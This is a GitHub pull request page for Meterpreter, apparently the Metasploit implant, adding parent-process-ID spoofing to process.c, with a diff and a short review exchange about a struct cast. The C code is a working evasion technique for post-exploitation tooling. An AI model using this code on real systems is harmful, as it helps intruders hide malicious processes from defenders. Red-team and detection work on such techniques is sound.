Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add support for PPID spoofing #374

Merged
merged 1 commit into from
Jan 22, 2020
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
118 changes: 98 additions & 20 deletions c/meterpreter/source/extensions/stdapi/server/sys/process/process.c
Original file line number Diff line number Diff line change
Expand Up @@ -8,6 +8,30 @@
typedef BOOL (STDMETHODCALLTYPE FAR * LPFNCREATEENVIRONMENTBLOCK)( LPVOID *lpEnvironment, HANDLE hToken, BOOL bInherit );
typedef BOOL (STDMETHODCALLTYPE FAR * LPFNDESTROYENVIRONMENTBLOCK) ( LPVOID lpEnvironment );
typedef BOOL (WINAPI * LPCREATEPROCESSWITHTOKENW)( HANDLE, DWORD, LPCWSTR, LPWSTR, DWORD, LPVOID, LPCWSTR, LPSTARTUPINFOW, LPPROCESS_INFORMATION );
typedef BOOL (WINAPI * UPDATEPROCTHREADATTRIBUTE) (
LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList,
DWORD dwFlags,
DWORD_PTR Attribute,
PVOID lpValue,
SIZE_T cbSize,
PVOID lpPreviousValue,
PSIZE_T lpReturnSize
);

typedef BOOL (WINAPI* INITIALIZEPROCTHREADATTRIBUTELIST) (
LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList,
DWORD dwAttributeCount,
DWORD dwFlags,
PSIZE_T lpSize
);

typedef struct _STARTUPINFOEXA
{
STARTUPINFOA StartupInfo;
LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList;
} STARTUPINFOEXA, *LPSTARTUPINFOEXA;

const int PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 0x00020000;

/*
* Attaches to the supplied process identifier. If no process identifier is
Expand All @@ -24,7 +48,7 @@ DWORD request_sys_process_attach(Remote *remote, Packet *packet)

// Get the process identifier that we're attaching to, if any.
pid = packet_get_tlv_value_uint(packet, TLV_TYPE_PID);

dprintf("[attach]: pid %d", pid);
// No pid? Use current.
if (!pid)
handle = GetCurrentProcess();
Expand All @@ -35,6 +59,7 @@ DWORD request_sys_process_attach(Remote *remote, Packet *packet)
DWORD permission = packet_get_tlv_value_uint(packet, TLV_TYPE_PROCESS_PERMS);

handle = OpenProcess(permission, inherit, pid);
dprintf("[attach] OpenProcess: opened process %d with permission %d: 0x%p [%d]\n", pid, permission, handle, GetLastError());
}

// If we have a handle, add it to the response
Expand Down Expand Up @@ -91,10 +116,10 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
Tlv inMemoryData;
BOOL doInMemory = FALSE;
PROCESS_INFORMATION pi;
STARTUPINFO si;
STARTUPINFOEXA si;
HANDLE in[2], out[2];
PCHAR path, arguments, commandLine = NULL;
DWORD flags = 0, createFlags = 0;
DWORD flags = 0, createFlags = 0, ppid = 0;
BOOL inherit = FALSE;
HANDLE token, pToken;
char * cpDesktop = NULL;
Expand All @@ -109,9 +134,10 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)

// Initialize the startup information
memset( &pi, 0, sizeof(PROCESS_INFORMATION) );
memset( &si, 0, sizeof(STARTUPINFO) );
memset( &si, 0, sizeof(STARTUPINFOEXA) );

si.cb = sizeof(STARTUPINFO);
si.StartupInfo.cb = sizeof(STARTUPINFO);
si.lpAttributeList = NULL;

// Initialize pipe handles
in[0] = NULL;
Expand All @@ -131,6 +157,7 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
arguments = packet_get_tlv_value_string(packet, TLV_TYPE_PROCESS_ARGUMENTS);
path = packet_get_tlv_value_string(packet, TLV_TYPE_PROCESS_PATH);
flags = packet_get_tlv_value_uint(packet, TLV_TYPE_PROCESS_FLAGS);
ppid = packet_get_tlv_value_uint(packet, TLV_TYPE_PARENT_PID);

if (packet_get_tlv(packet, TLV_TYPE_VALUE_DATA, &inMemoryData) == ERROR_SUCCESS)
{
Expand All @@ -154,7 +181,7 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)

lock_release(remote->lock);

si.lpDesktop = cpDesktop;
si.StartupInfo.lpDesktop = cpDesktop;

} while (0);
}
Expand Down Expand Up @@ -232,10 +259,10 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
}

// Initialize the startup info to use the pipe handles
si.dwFlags |= STARTF_USESTDHANDLES;
si.hStdInput = in[0];
si.hStdOutput = out[1];
si.hStdError = out[1];
si.StartupInfo.dwFlags |= STARTF_USESTDHANDLES;
si.StartupInfo.hStdInput = in[0];
si.StartupInfo.hStdOutput = out[1];
si.StartupInfo.hStdError = out[1];
inherit = TRUE;
createFlags |= CREATE_NEW_CONSOLE;

Expand All @@ -251,15 +278,61 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
// If the hidden flag is set, create the process hidden
if (flags & PROCESS_EXECUTE_FLAG_HIDDEN)
{
si.dwFlags |= STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
si.StartupInfo.dwFlags |= STARTF_USESHOWWINDOW;
si.StartupInfo.wShowWindow = SW_HIDE;
createFlags |= CREATE_NO_WINDOW;
}

// Should we create the process suspended?
if (flags & PROCESS_EXECUTE_FLAG_SUSPENDED)
createFlags |= CREATE_SUSPENDED;

// Set Parent PID if provided
if (ppid) {
dprintf("[execute] PPID spoofing\n");
HMODULE hKernel32Lib = LoadLibrary("kernel32.dll");
INITIALIZEPROCTHREADATTRIBUTELIST InitializeProcThreadAttributeList = (INITIALIZEPROCTHREADATTRIBUTELIST)GetProcAddress(hKernel32Lib, "InitializeProcThreadAttributeList");
UPDATEPROCTHREADATTRIBUTE UpdateProcThreadAttribute = (UPDATEPROCTHREADATTRIBUTE)GetProcAddress(hKernel32Lib, "UpdateProcThreadAttribute");
BOOLEAN inherit = packet_get_tlv_value_bool(packet, TLV_TYPE_INHERIT);
DWORD permission = packet_get_tlv_value_uint(packet, TLV_TYPE_PROCESS_PERMS);
HANDLE handle = OpenProcess(permission, inherit, ppid);
dprintf("[execute] OpenProcess: opened process %d with permission %d: 0x%p [%d]\n", ppid, permission, handle, GetLastError());
if (
handle &&
hKernel32Lib &&
InitializeProcThreadAttributeList &&
UpdateProcThreadAttribute
) {
size_t len = 0;
InitializeProcThreadAttributeList(NULL, 1, 0, &len);
si.lpAttributeList = malloc(len);
if (!InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &len)) {
printf("[execute] InitializeProcThreadAttributeList: [%d]\n", GetLastError());
result = GetLastError();
break;
}

dprintf("[execute] InitializeProcThreadAttributeList\n");

if (!UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &handle, sizeof(HANDLE), 0, 0)) {
printf("[execute] UpdateProcThreadAttribute: [%d]\n", GetLastError());
result = GetLastError();
break;
}

dprintf("[execute] UpdateProcThreadAttribute\n");

createFlags |= EXTENDED_STARTUPINFO_PRESENT;
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);

FreeLibrary(hKernel32Lib);
}
else {
result = GetLastError();
break;
}
}

if (flags & PROCESS_EXECUTE_FLAG_USE_THREAD_TOKEN)
{
// If there is an impersonated token stored, use that one first, otherwise
Expand Down Expand Up @@ -304,7 +377,7 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
}

// Try to execute the process with duplicated token
if (!CreateProcessAsUser(pToken, NULL, commandLine, NULL, NULL, inherit, createFlags, pEnvironment, NULL, &si, &pi))
if (!CreateProcessAsUser(pToken, NULL, commandLine, NULL, NULL, inherit, createFlags, pEnvironment, NULL, (STARTUPINFOA*)&si, &pi))
{
LPCREATEPROCESSWITHTOKENW pCreateProcessWithTokenW = NULL;
HANDLE hAdvapi32 = NULL;
Expand Down Expand Up @@ -342,14 +415,14 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
wcmdline = (wchar_t *)malloc((size + 1) * sizeof(wchar_t));
mbstowcs(wcmdline, commandLine, size);

if (si.lpDesktop)
if (si.StartupInfo.lpDesktop)
{
size = mbstowcs(NULL, (char *)si.lpDesktop, 0);
size = mbstowcs(NULL, (char *)si.StartupInfo.lpDesktop, 0);
if (size != (size_t)-1)
{
wdesktop = (wchar_t *)malloc((size + 1) * sizeof(wchar_t));
mbstowcs(wdesktop, (char *)si.lpDesktop, size);
si.lpDesktop = (LPSTR)wdesktop;
mbstowcs(wdesktop, (char *)si.StartupInfo.lpDesktop, size);
si.StartupInfo.lpDesktop = (LPSTR)wdesktop;
}
}

Expand Down Expand Up @@ -407,7 +480,7 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)

if (session_id(GetCurrentProcessId()) == session || !hWtsapi32)
{
if (!CreateProcess(NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, &si, &pi))
if (!CreateProcess(NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, (STARTUPINFOA*)&si, &pi))
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Why cast this larger object to a smaller contained object rather than pass the smaller contained object in itself? To be more specific, why use this:
(STARTUPINFOA*)&si
When you're effectively passing in this:
si.StartupInfo
?
It will work because the first object in the STARTUPINFOEXA object is a STARTUPINFOA object, but it would seem to be better and more clear to just pass in the STARTUPINFOA object itself? Or am I missing something?

Copy link
Contributor Author

@phra phra Jan 2, 2020

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

the manually declared _STARTUPINFOEXA extends the existing STARTUPINFOEXA by adding LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList since it's not available on win xp.
when i wrote the code, i thought to make explicit the fact that the struct is effectively casted down to STARTUPINFOA, but it gets interpreted as STARTUPINFOEXA when the flag EXTENDED_STARTUPINFO_PRESENT is specified.
it will work in both ways, maybe si.StartupInfo is more clear, but since the CreateProcess function can potentially access data outside si.StartupInfo i preferred to use an explicit cast. feel free to send a PR with the proposed change. 👍

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Apologies for the long delay...
Wow.... I did not know about the EXTENDED_STARTUPINFO_PRESENT attribute bit. That's.... uh... certainly one way to overload a method, and I'm a little sad that's the route MS took on it. In light of that, what you have makes perfect sense, though it's necessity makes me sad.

{
BREAK_ON_ERROR("[PROCESS] execute in self session: CreateProcess failed");
}
Expand All @@ -425,7 +498,7 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
BREAK_ON_ERROR("[PROCESS] execute in session: WTSQueryUserToken failed");
}

if (!CreateProcessAsUser(hToken, NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, &si, &pi))
if (!CreateProcessAsUser(hToken, NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, (STARTUPINFOA*)&si, &pi))
{
BREAK_ON_ERROR("[PROCESS] execute in session: CreateProcessAsUser failed");
}
Expand Down Expand Up @@ -453,7 +526,7 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
else
{
// Try to execute the process
if (!CreateProcess(NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, &si, &pi))
if (!CreateProcess(NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, (STARTUPINFOA*)&si, &pi))
{
result = GetLastError();
break;
Expand Down Expand Up @@ -531,6 +604,11 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
free(cpDesktop);
}

if (si.lpAttributeList)
{
free(si.lpAttributeList);
}

packet_transmit_response(result, remote, response);

return ERROR_SUCCESS;
Expand Down